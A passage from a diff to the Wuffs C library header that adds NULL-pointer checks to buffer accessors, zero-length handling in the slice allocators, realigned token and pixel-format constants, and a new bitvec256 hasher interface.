recently read bytes), where H is min(buf->meta.ri, history_retain_length). +-// A postcondition is that buf->meta.ri == H. ++// It is therefore a no-op if history_retain_length is UINT64_MAX. A ++// postcondition is that buf->meta.ri == H. + // + // wuffs_base__io_buffer__compact_retaining(0) is equivalent to + // wuffs_base__io_buffer__compact(). +@@ -3056,7 +3274,7 @@ wuffs_base__io_buffer__reader_length(const wuffs_base__io_buffer* buf) { + + static inline uint8_t* // + wuffs_base__io_buffer__reader_pointer(const wuffs_base__io_buffer* buf) { +- return buf ? (buf->data.ptr + buf->meta.ri) : NULL; ++ return (buf && buf->data.ptr) ? (buf->data.ptr + buf->meta.ri) : NULL; + } + + static inline uint64_t // +@@ -3066,7 +3284,8 @@ wuffs_base__io_buffer__reader_position(const wuffs_base__io_buffer* buf) { + + static inline wuffs_base__slice_u8 // + wuffs_base__io_buffer__reader_slice(const wuffs_base__io_buffer* buf) { +- return buf ? wuffs_base__make_slice_u8(buf->data.ptr + buf->meta.ri, ++ return (buf && buf->data.ptr) ++ ? wuffs_base__make_slice_u8(buf->data.ptr + buf->meta.ri, + buf->meta.wi - buf->meta.ri) + : wuffs_base__empty_slice_u8(); + } +@@ -3078,7 +3297,7 @@ wuffs_base__io_buffer__writer_length(const wuffs_base__io_buffer* buf) { + + static inline uint8_t* // + wuffs_base__io_buffer__writer_pointer(const wuffs_base__io_buffer* buf) { +- return buf ? (buf->data.ptr + buf->meta.wi) : NULL; ++ return (buf && buf->data.ptr) ? (buf->data.ptr + buf->meta.wi) : NULL; + } + + static inline uint64_t // +@@ -3088,7 +3307,8 @@ wuffs_base__io_buffer__writer_position(const wuffs_base__io_buffer* buf) { + + static inline wuffs_base__slice_u8 // + wuffs_base__io_buffer__writer_slice(const wuffs_base__io_buffer* buf) { +- return buf ? wuffs_base__make_slice_u8(buf->data.ptr + buf->meta.wi, ++ return (buf && buf->data.ptr) ++ ? wuffs_base__make_slice_u8(buf->data.ptr + buf->meta.wi, + buf->data.len - buf->meta.wi) + : wuffs_base__empty_slice_u8(); + } +@@ -3183,49 +3403,53 @@ wuffs_base__make_token(uint64_t repr) { + + // -------- + ++// clang-format off ++ ++// -------- ++ + #define WUFFS_BASE__TOKEN__LENGTH__MAX_INCL 0xFFFF + +-#define WUFFS_BASE__TOKEN__VALUE__SHIFT 17 +-#define WUFFS_BASE__TOKEN__VALUE_EXTENSION__SHIFT 17 +-#define WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT 42 +-#define WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT 17 ++#define WUFFS_BASE__TOKEN__VALUE__SHIFT 17 ++#define WUFFS_BASE__TOKEN__VALUE_EXTENSION__SHIFT 17 ++#define WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT 42 ++#define WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT 17 + #define WUFFS_BASE__TOKEN__VALUE_BASE_CATEGORY__SHIFT 38 +-#define WUFFS_BASE__TOKEN__VALUE_BASE_DETAIL__SHIFT 17 +-#define WUFFS_BASE__TOKEN__CONTINUED__SHIFT 16 +-#define WUFFS_BASE__TOKEN__LENGTH__SHIFT 0 ++#define WUFFS_BASE__TOKEN__VALUE_BASE_DETAIL__SHIFT 17 ++#define WUFFS_BASE__TOKEN__CONTINUED__SHIFT 16 ++#define WUFFS_BASE__TOKEN__LENGTH__SHIFT 0 + +-#define WUFFS_BASE__TOKEN__VALUE_EXTENSION__NUM_BITS 46 ++#define WUFFS_BASE__TOKEN__VALUE_EXTENSION__NUM_BITS 46 + + // -------- + +-#define WUFFS_BASE__TOKEN__VBC__FILLER 0 +-#define WUFFS_BASE__TOKEN__VBC__STRUCTURE 1 +-#define WUFFS_BASE__TOKEN__VBC__STRING 2 +-#define WUFFS_BASE__TOKEN__VBC__UNICODE_CODE_POINT 3 +-#define WUFFS_BASE__TOKEN__VBC__LITERAL 4 +-#define WUFFS_BASE__TOKEN__VBC__NUMBER 5 +-#define WUFFS_BASE__TOKEN__VBC__INLINE_INTEGER_SIGNED 6 ++#define WUFFS_BASE__TOKEN__VBC__FILLER 0 ++#define WUFFS_BASE__TOKEN__VBC__STRUCTURE 1 ++#define WUFFS_BASE__TOKEN__VBC__STRING 2 ++#define WUFFS_BASE__TOKEN__VBC__UNICODE_CODE_POINT 3 ++#define WUFFS_BASE__TOKEN__VBC__LITERAL 4 ++#define WUFFS_BASE__TOKEN__VBC__NUMBER 5 ++#define WUFFS_BASE__TOKEN__VBC__INLINE_INTEGER_SIGNED 6 + #define WUFFS_BASE__TOKEN__VBC__INLINE_INTEGER_UNSIGNED 7 + + // -------- + +-#define WUFFS_BASE__TOKEN__VBD__FILLER__PUNCTUATION 0x00001 ++#define WUFFS_BASE__TOKEN__VBD__FILLER__PUNCTUATION 0x00001 + #define WUFFS_BASE__TOKEN__VBD__FILLER__COMMENT_BLOCK 0x00002 +-#define WUFFS_BASE__TOKEN__VBD__FILLER__COMMENT_LINE 0x00004 ++#define WUFFS_BASE__TOKEN__VBD__FILLER__COMMENT_LINE 0x00004 + + // COMMENT_ANY is a bit-wise or of COMMENT_BLOCK AND COMMENT_LINE. +-#define WUFFS_BASE__TOKEN__VBD__FILLER__COMMENT_ANY 0x00006 ++#define WUFFS_BASE__TOKEN__VBD__FILLER__COMMENT_ANY 0x00006 + + // -------- + +-#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__PUSH 0x00001 +-#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__POP 0x00002 ++#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__PUSH 0x00001 ++#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__POP 0x00002 + #define WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_NONE 0x00010 + #define WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_LIST 0x00020 + #define WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_DICT 0x00040 +-#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_NONE 0x01000 +-#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_LIST 0x02000 +-#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_DICT 0x04000 ++#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_NONE 0x01000 ++#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_LIST 0x02000 ++#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_DICT 0x04000 + + // -------- + +@@ -3245,11 +3469,11 @@ wuffs_base__make_token(uint64_t repr) { + // + // The lack of any particular bit is conservative: it is valid for all-ASCII + // strings, in a single- or multi-token chain, to have none of these bits set. +-#define WUFFS_BASE__TOKEN__VBD__STRING__DEFINITELY_UTF_8 0x00001 +-#define WUFFS_BASE__TOKEN__VBD__STRING__CHAIN_MUST_BE_UTF_8 0x00002 ++#define WUFFS_BASE__TOKEN__VBD__STRING__DEFINITELY_UTF_8 0x00001 ++#define WUFFS_BASE__TOKEN__VBD__STRING__CHAIN_MUST_BE_UTF_8 0x00002 + #define WUFFS_BASE__TOKEN__VBD__STRING__CHAIN_SHOULD_BE_UTF_8 0x00004 +-#define WUFFS_BASE__TOKEN__VBD__STRING__DEFINITELY_ASCII 0x00010 +-#define WUFFS_BASE__TOKEN__VBD__STRING__CHAIN_MUST_BE_ASCII 0x00020 ++#define WUFFS_BASE__TOKEN__VBD__STRING__DEFINITELY_ASCII 0x00010 ++#define WUFFS_BASE__TOKEN__VBD__STRING__CHAIN_MUST_BE_ASCII 0x00020 + #define WUFFS_BASE__TOKEN__VBD__STRING__CHAIN_SHOULD_BE_ASCII 0x00040 + + // CONVERT_D_DST_S_SRC means that multiples of S source bytes (possibly padded) +@@ -3264,22 +3488,22 @@ wuffs_base__make_token(uint64_t repr) { + // When src is the empty string, multiple conversion algorithms are applicable + // (so these bits are not necessarily mutually exclusive), all producing the + // same empty dst string. +-#define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_0_DST_1_SRC_DROP 0x00100 +-#define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_1_DST_1_SRC_COPY 0x00200 ++#define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_0_DST_1_SRC_DROP 0x00100 ++#define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_1_DST_1_SRC_COPY 0x00200 + #define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_1_DST_2_SRC_HEXADECIMAL 0x00400 + #define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_1_DST_4_SRC_BACKSLASH_X 0x00800 + #define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_3_DST_4_SRC_BASE_64_STD 0x01000 + #define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_3_DST_4_SRC_BASE_64_URL 0x02000 +-#define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_4_DST_5_SRC_ASCII_85 0x04000 ++#define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_4_DST_5_SRC_ASCII_85 0x04000 + #define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_5_DST_8_SRC_BASE_32_HEX 0x08000 + #define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_5_DST_8_SRC_BASE_32_STD 0x10000 + + // -------- + + #define WUFFS_BASE__TOKEN__VBD__LITERAL__UNDEFINED 0x00001 +-#define WUFFS_BASE__TOKEN__VBD__LITERAL__NULL 0x00002 +-#define WUFFS_BASE__TOKEN__VBD__LITERAL__FALSE 0x00004 +-#define WUFFS_BASE__TOKEN__VBD__LITERAL__TRUE 0x00008 ++#define WUFFS_BASE__TOKEN__VBD__LITERAL__NULL 0x00002 ++#define WUFFS_BASE__TOKEN__VBD__LITERAL__FALSE 0x00004 ++#define WUFFS_BASE__TOKEN__VBD__LITERAL__TRUE 0x00008 + + // -------- + +@@ -3292,8 +3516,8 @@ wuffs_base__make_token(uint64_t repr) { + // For a source string of "+123" or "-0x9A", only the first two are valid. + // + // For a source string of "123.", only the first one is valid. +-#define WUFFS_BASE__TOKEN__VBD__NUMBER__CONTENT_FLOATING_POINT 0x00001 +-#define WUFFS_BASE__TOKEN__VBD__NUMBER__CONTENT_INTEGER_SIGNED 0x00002 ++#define WUFFS_BASE__TOKEN__VBD__NUMBER__CONTENT_FLOATING_POINT 0x00001 ++#define WUFFS_BASE__TOKEN__VBD__NUMBER__CONTENT_INTEGER_SIGNED 0x00002 + #define WUFFS_BASE__TOKEN__VBD__NUMBER__CONTENT_INTEGER_UNSIGNED 0x00004 + + #define WUFFS_BASE__TOKEN__VBD__NUMBER__CONTENT_NEG_INF 0x00010 +@@ -3305,11 +3529,15 @@ wuffs_base__make_token(uint64_t repr) { + // "300", which are big-endian, little-endian or text. For binary formats, the + // token length (after adjusting for FORMAT_IGNORE_ETC) discriminates + // e.g. u16 little-endian vs u32 little-endian. +-#define WUFFS_BASE__TOKEN__VBD__NUMBER__FORMAT_BINARY_BIG_ENDIAN 0x00100 ++#define WUFFS_BASE__TOKEN__VBD__NUMBER__FORMAT_BINARY_BIG_ENDIAN 0x00100 + #define WUFFS_BASE__TOKEN__VBD__NUMBER__FORMAT_BINARY_LITTLE_ENDIAN 0x00200 +-#define WUFFS_BASE__TOKEN__VBD__NUMBER__FORMAT_TEXT 0x00400 ++#define WUFFS_BASE__TOKEN__VBD__NUMBER__FORMAT_TEXT 0x00400 ++ ++#define WUFFS_BASE__TOKEN__VBD__NUMBER__FORMAT_IGNORE_FIRST_BYTE 0x01000 ++ ++// -------- + +-#define WUFFS_BASE__TOKEN__VBD__NUMBER__FORMAT_IGNORE_FIRST_BYTE 0x01000 ++// clang-format on + + // -------- + +@@ -3421,6 +3649,22 @@ wuffs_base__token::length() const { + + // -------- + ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wcast-qual" ++#endif ++ ++static inline wuffs_base__token* // ++wuffs_base__strip_const_from_token_ptr(const wuffs_base__token* ptr) { ++ return (wuffs_base__token*)ptr; ++} ++ ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ ++// -------- ++ + typedef WUFFS_BASE__SLICE(wuffs_base__token) wuffs_base__slice_token; + + static inline wuffs_base__slice_token // +@@ -3574,7 +3818,8 @@ wuffs_base__token_buffer__compact(wuffs_base__token_buffer* buf) { + // wuffs_base__token_buffer__compact_retaining moves any written but unread + // tokens closer to the start of the buffer. It retains H tokens of history + // (the most recently read tokens), where H is min(buf->meta.ri, +-// history_retain_length). A postcondition is that buf->meta.ri == H. ++// history_retain_length). It is therefore a no-op if history_retain_length is ++// UINT64_MAX. A postcondition is that buf->meta.ri == H. + // + // wuffs_base__token_buffer__compact_retaining(0) is equivalent to + // wuffs_base__token_buffer__compact(). +@@ -3730,51 +3975,51 @@ wuffs_base__token_buffer::writer_token_position() const { + // + // You can pass the C stdlib's malloc as the malloc_func. + // +-// It returns an empty slice (containing a NULL ptr field) if (num_uxx * +-// sizeof(uintxx_t)) would overflow SIZE_MAX. ++// It returns an empty slice (containing a NULL ptr field) if num_uxx is zero ++// or if (num_uxx * sizeof(uintxx_t)) would overflow SIZE_MAX. + + static inline wuffs_base__slice_u8 // + wuffs_base__malloc_slice_u8(void* (*malloc_func)(size_t), uint64_t num_u8) { +- if (malloc_func && (num_u8 <= (SIZE_MAX / sizeof(uint8_t)))) { ++ if (malloc_func && num_u8 && (num_u8 <= (SIZE_MAX / sizeof(uint8_t)))) { + void* p = (*malloc_func)((size_t)(num_u8 * sizeof(uint8_t))); + if (p) { + return wuffs_base__make_slice_u8((uint8_t*)(p), (size_t)num_u8); + } + } +- return wuffs_base__make_slice_u8(NULL, 0); ++ return wuffs_base__empty_slice_u8(); + } + + static inline wuffs_base__slice_u16 // + wuffs_base__malloc_slice_u16(void* (*malloc_func)(size_t), uint64_t num_u16) { +- if (malloc_func && (num_u16 <= (SIZE_MAX / sizeof(uint16_t)))) { ++ if (malloc_func && num_u16 && (num_u16 <= (SIZE_MAX / sizeof(uint16_t)))) { + void* p = (*malloc_func)((size_t)(num_u16 * sizeof(uint16_t))); + if (p) { + return wuffs_base__make_slice_u16((uint16_t*)(p), (size_t)num_u16); + } + } +- return wuffs_base__make_slice_u16(NULL, 0); ++ return wuffs_base__empty_slice_u16(); + } + + static inline wuffs_base__slice_u32 // + wuffs_base__malloc_slice_u32(void* (*malloc_func)(size_t), uint64_t num_u32) { +- if (malloc_func && (num_u32 <= (SIZE_MAX / sizeof(uint32_t)))) { ++ if (malloc_func && num_u32 && (num_u32 <= (SIZE_MAX / sizeof(uint32_t)))) { + void* p = (*malloc_func)((size_t)(num_u32 * sizeof(uint32_t))); + if (p) { + return wuffs_base__make_slice_u32((uint32_t*)(p), (size_t)num_u32); + } + } +- return wuffs_base__make_slice_u32(NULL, 0); ++ return wuffs_base__empty_slice_u32(); + } + + static inline wuffs_base__slice_u64 // + wuffs_base__malloc_slice_u64(void* (*malloc_func)(size_t), uint64_t num_u64) { +- if (malloc_func && (num_u64 <= (SIZE_MAX / sizeof(uint64_t)))) { ++ if (malloc_func && num_u64 && (num_u64 <= (SIZE_MAX / sizeof(uint64_t)))) { + void* p = (*malloc_func)((size_t)(num_u64 * sizeof(uint64_t))); + if (p) { + return wuffs_base__make_slice_u64((uint64_t*)(p), (size_t)num_u64); + } + } +- return wuffs_base__make_slice_u64(NULL, 0); ++ return wuffs_base__empty_slice_u64(); + } + + // ---------------- Images +@@ -3838,6 +4083,26 @@ wuffs_base__color_u32_argb_premul__as__color_u8_gray( + return (uint8_t)(weighted_average >> 24); + } + ++static inline uint16_t // ++wuffs_base__color_u32_argb_premul__as__color_u16_alpha_gray_nonpremul( ++ wuffs_base__color_u32_argb_premul c) { ++ uint32_t a = 0xFF & (c >> 24); ++ if (a == 0) { ++ return 0; ++ } ++ uint32_t a16 = a * 0x101; ++ ++ uint32_t cr = 0xFF & (c >> 16); ++ cr = (cr * (0x101 * 0xFFFF)) / a16; ++ uint32_t cg = 0xFF & (c >> 8); ++ cg = (cg * (0x101 * 0xFFFF)) / a16; ++ uint32_t cb = 0xFF & (c >> 0); ++ cb = (cb * (0x101 * 0xFFFF)) / a16; ++ ++ uint32_t weighted_average = (19595 * cr) + (38470 * cg) + (7471 * cb) + 32768; ++ return (uint16_t)((a16 & 0xFF00) | (weighted_average >> 24)); ++} ++ + static inline uint16_t // + wuffs_base__color_u32_argb_premul__as__color_u16_gray( + wuffs_base__color_u32_argb_premul c) { +@@ -4114,49 +4379,53 @@ wuffs_base__make_pixel_format(uint32_t repr) { + // Common 8-bit-depth pixel formats. This list is not exhaustive; not all valid + // wuffs_base__pixel_format values are present. + +-#define WUFFS_BASE__PIXEL_FORMAT__INVALID 0x00000000 ++// clang-format off ++ ++#define WUFFS_BASE__PIXEL_FORMAT__INVALID 0x00000000 + +-#define WUFFS_BASE__PIXEL_FORMAT__A 0x02000008 ++#define WUFFS_BASE__PIXEL_FORMAT__A 0x02000008 + +-#define WUFFS_BASE__PIXEL_FORMAT__Y 0x20000008 +-#define WUFFS_BASE__PIXEL_FORMAT__Y_16LE 0x2000000B +-#define WUFFS_BASE__PIXEL_FORMAT__Y_16BE 0x2010000B +-#define WUFFS_BASE__PIXEL_FORMAT__YA_NONPREMUL 0x21000008 +-#define WUFFS_BASE__PIXEL_FORMAT__YA_PREMUL 0x22000008 ++#define WUFFS_BASE__PIXEL_FORMAT__Y 0x20000008 ++#define WUFFS_BASE__PIXEL_FORMAT__Y_16LE 0x2000000B ++#define WUFFS_BASE__PIXEL_FORMAT__Y_16BE 0x2010000B ++#define WUFFS_BASE__PIXEL_FORMAT__YA_NONPREMUL 0x21000088 ++#define WUFFS_BASE__PIXEL_FORMAT__YA_PREMUL 0x22000088 + +-#define WUFFS_BASE__PIXEL_FORMAT__YCBCR 0x40020888 +-#define WUFFS_BASE__PIXEL_FORMAT__YCBCRA_NONPREMUL 0x41038888 +-#define WUFFS_BASE__PIXEL_FORMAT__YCBCRK 0x50038888 ++#define WUFFS_BASE__PIXEL_FORMAT__YCBCR 0x40020888 ++#define WUFFS_BASE__PIXEL_FORMAT__YCBCRA_NONPREMUL 0x41038888 ++#define WUFFS_BASE__PIXEL_FORMAT__YCBCRK 0x50038888 + +-#define WUFFS_BASE__PIXEL_FORMAT__YCOCG 0x60020888 +-#define WUFFS_BASE__PIXEL_FORMAT__YCOCGA_NONPREMUL 0x61038888 +-#define WUFFS_BASE__PIXEL_FORMAT__YCOCGK 0x70038888 ++#define WUFFS_BASE__PIXEL_FORMAT__YCOCG 0x60020888 ++#define WUFFS_BASE__PIXEL_FORMAT__YCOCGA_NONPREMUL 0x61038888 ++#define WUFFS_BASE__PIXEL_FORMAT__YCOCGK 0x70038888 + +-#define WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL 0x81040008 +-#define WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL 0x82040008 +-#define WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY 0x83040008 ++#define WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL 0x81040008 ++#define WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL 0x82040008 ++#define WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY 0x83040008 + +-#define WUFFS_BASE__PIXEL_FORMAT__BGR_565 0x80000565 +-#define WUFFS_BASE__PIXEL_FORMAT__BGR 0x80000888 +-#define WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL 0x81008888 +-#define WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE 0x8100BBBB +-#define WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL 0x82008888 +-#define WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE 0x8200BBBB +-#define WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY 0x83008888 +-#define WUFFS_BASE__PIXEL_FORMAT__BGRX 0x90008888 ++#define WUFFS_BASE__PIXEL_FORMAT__BGR_565 0x80000565 ++#define WUFFS_BASE__PIXEL_FORMAT__BGR 0x80000888 ++#define WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL 0x81008888 ++#define WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE 0x8100BBBB ++#define WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL 0x82008888 ++#define WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE 0x8200BBBB ++#define WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY 0x83008888 ++#define WUFFS_BASE__PIXEL_FORMAT__BGRX 0x90008888 + +-#define WUFFS_BASE__PIXEL_FORMAT__RGB 0xA0000888 +-#define WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL 0xA1008888 +-#define WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL_4X16LE 0xA100BBBB +-#define WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL 0xA2008888 +-#define WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL_4X16LE 0xA200BBBB +-#define WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY 0xA3008888 +-#define WUFFS_BASE__PIXEL_FORMAT__RGBX 0xB0008888 ++#define WUFFS_BASE__PIXEL_FORMAT__RGB 0xA0000888 ++#define WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL 0xA1008888 ++#define WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL_4X16LE 0xA100BBBB ++#define WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL 0xA2008888 ++#define WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL_4X16LE 0xA200BBBB ++#define WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY 0xA3008888 ++#define WUFFS_BASE__PIXEL_FORMAT__RGBX 0xB0008888 + +-#define WUFFS_BASE__PIXEL_FORMAT__CMY 0xC0020888 +-#define WUFFS_BASE__PIXEL_FORMAT__CMYK 0xD0038888 ++#define WUFFS_BASE__PIXEL_FORMAT__CMY 0xC0020888 ++#define WUFFS_BASE__PIXEL_FORMAT__CMYK 0xD0038888 + +-extern const uint32_t wuffs_base__pixel_format__bits_per_channel[16]; ++// clang-format on ++ ++extern const uint32_t wuffs_private_impl__pixel_format__bits_per_channel[16]; + + static inline bool // + wuffs_base__pixel_format__is_valid(const wuffs_base__pixel_format* f) { +@@ -4170,10 +4439,14 @@ wuffs_base__pixel_format__bits_per_pixel(const wuffs_base__pixel_format* f) { + if (((f->repr >> 16) & 0x03) != 0) { + return 0; + } +- return wuffs_base__pixel_format__bits_per_channel[0x0F & (f->repr >> 0)] + +- wuffs_base__pixel_format__bits_per_channel[0x0F & (f->repr >> 4)] + +- wuffs_base__pixel_format__bits_per_channel[0x0F & (f->repr >> 8)] + +- wuffs_base__pixel_format__bits_per_channel[0x0F & (f->repr >> 12)]; ++ return wuffs_private_impl__pixel_format__bits_per_channel[0x0F & ++ (f->repr >> 0)] + ++ wuffs_private_impl__pixel_format__bits_per_channel[0x0F & ++ (f->repr >> 4)] + ++ wuffs_private_impl__pixel_format__bits_per_channel[0x0F & ++ (f->repr >> 8)] + ++ wuffs_private_impl__pixel_format__bits_per_channel[0x0F & ++ (f->repr >> 12)]; + } + + static inline bool // +@@ -4391,15 +4664,20 @@ wuffs_base__pixel_config__set(wuffs_base__pixel_config* c, + return; + } + if (pixfmt_repr) { +- uint64_t wh = ((uint64_t)width) * ((uint64_t)height); +- // TODO: handle things other than 1 byte per pixel. +- if (wh <= ((uint64_t)SIZE_MAX)) { ++ do { ++#if SIZE_MAX < 0xFFFFFFFFFFFFFFFFull ++ uint64_t wh = ((uint64_t)width) * ((uint64_t)height); ++ // TODO: handle things other than 1 byte per pixel. ++ if (wh > ((uint64_t)SIZE_MAX)) { ++ break; ++ } ++#endif + c->private_impl.pixfmt.repr = pixfmt_repr; + c->private_impl.pixsub.repr = pixsub_repr; + c->private_impl.width = width; + c->private_impl.height = height; + return; +- } ++ } while (0); + } + + c->private_impl.pixfmt.repr = 0; +@@ -5117,7 +5395,7 @@ wuffs_base__pixel_buffer__palette(wuffs_base__pixel_buffer* pb) { + tab->ptr, WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH); + } + } +- return wuffs_base__make_slice_u8(NULL, 0); ++ return wuffs_base__empty_slice_u8(); + } + + static inline wuffs_base__slice_u8 // +@@ -6202,6 +6480,113 @@ struct wuffs_base__hasher_u64__struct { + + // -------- + ++extern const char wuffs_base__hasher_bitvec256__vtable_name[]; ++ ++typedef struct wuffs_base__hasher_bitvec256__func_ptrs__struct { ++ wuffs_base__bitvec256 (*checksum_bitvec256)( ++ const void* self); ++ uint64_t (*get_quirk)( ++ const void* self, ++ uint32_t a_key); ++ wuffs_base__status (*set_quirk)( ++ void* self, ++ uint32_t a_key, ++ uint64_t a_value); ++ wuffs_base__empty_struct (*update)( ++ void* self, ++ wuffs_base__slice_u8 a_x); ++ wuffs_base__bitvec256 (*update_bitvec256)( ++ void* self, ++ wuffs_base__slice_u8 a_x); ++} wuffs_base__hasher_bitvec256__func_ptrs; ++ ++typedef struct wuffs_base__hasher_bitvec256__struct wuffs_base__hasher_bitvec256; ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__bitvec256 ++wuffs_base__hasher_bitvec256__checksum_bitvec256( ++ const wuffs_base__hasher_bitvec256* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_base__hasher_bitvec256__get_quirk( ++ const wuffs_base__hasher_bitvec256* self, ++ uint32_t a_key); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__hasher_bitvec256__set_quirk( ++ wuffs_base__hasher_bitvec256* self, ++ uint32_t a_key, ++ uint64_t a_value); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_base__hasher_bitvec256__update( ++ wuffs_base__hasher_bitvec256* self, ++ wuffs_base__slice_u8 a_x); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__bitvec256 ++wuffs_base__hasher_bitvec256__update_bitvec256( ++ wuffs_base__hasher_bitvec256* self, ++ wuffs_base__slice_u8 a_x); ++ ++#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) ++ ++struct wuffs_base__hasher_bitvec256__struct { ++ struct { ++ uint32_t magic; ++ uint32_t active_coroutine; ++ wuffs_base__vtable first_vtable; ++ } private_impl; ++ ++#ifdef __cplusplus ++#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++ using unique_ptr = std::unique_ptr; ++#endif ++ ++ inline wuffs_base__bitvec256 ++ checksum_bitvec256() const { ++ return wuffs_base__hasher_bitvec256__checksum_bitvec256(this); ++ } ++ ++ inline uint64_t ++ get_quirk( ++ uint32_t a_key) const { ++ return wuffs_base__hasher_bitvec256__get_quirk( ++ this, a_key); ++ } ++ ++ inline wuffs_base__status ++ set_quirk( ++ uint32_t a_key, ++ uint64_t a_value) { ++ return wuffs_base__hasher_bitvec256__set_quirk( ++ this, a_key, a_value); ++ } ++ ++ inline wuffs_base__empty_struct ++ update( ++ wuffs_base__slice_u8 a_x) { ++ return wuffs_base__hasher_bitvec256__update( ++ this, a_x); ++ } ++ ++ inline wuffs_base__bitvec256 ++ update_bitvec256( ++ wuffs_base__slice_u8 a_x) { ++ return wuffs_base__hasher_bitvec256__update_bitvec256( ++ this, a_x); ++ } ++ ++#endif // __cplusplus ++}; // struct wuffs_base__hasher_bitvec256__struct ++ ++#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) ++ ++// -------- ++ + extern const char wuffs_base__image_decoder__vtable_name[]; + + typedef struct wuffs_base__image_decoder__func_ptrs__struct { +@@ -6225,8 +6610,6 @@ typedef struct wuffs_base__image_decoder__func_ptrs__struct { + uint64_t (*get_quirk)( + const void* self, + uint32_t a_key); +- uint64_t (*history_retain_length)( +- const void* self); + uint32_t (*num_animation_loops)( + const void* self); + uint64_t (*num_decoded_frame_configs)( +@@ -6291,11 +6674,6 @@ wuffs_base__image_decoder__get_quirk( + const wuffs_base__image_decoder* self, + uint32_t a_key); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__image_decoder__history_retain_length( +- const wuffs_base__image_decoder* self); +- + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint32_t + wuffs_base__image_decoder__num_animation_loops( +@@ -6398,11 +6776,6 @@ struct wuffs_base__image_decoder__struct { + this, a_key); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_base__image_decoder__history_retain_length(this); +- } +- + inline uint32_t + num_animation_loops() const { + return wuffs_base__image_decoder__num_animation_loops(this); +@@ -6466,11 +6839,11 @@ struct wuffs_base__image_decoder__struct { + extern const char wuffs_base__io_transformer__vtable_name[]; + + typedef struct wuffs_base__io_transformer__func_ptrs__struct { ++ wuffs_base__optional_u63 (*dst_history_retain_length)( ++ const void* self); + uint64_t (*get_quirk)( + const void* self, + uint32_t a_key); +- uint64_t (*history_retain_length)( +- const void* self); + wuffs_base__status (*set_quirk)( + void* self, + uint32_t a_key, +@@ -6486,17 +6859,17 @@ typedef struct wuffs_base__io_transformer__func_ptrs__struct { + + typedef struct wuffs_base__io_transformer__struct wuffs_base__io_transformer; + ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC 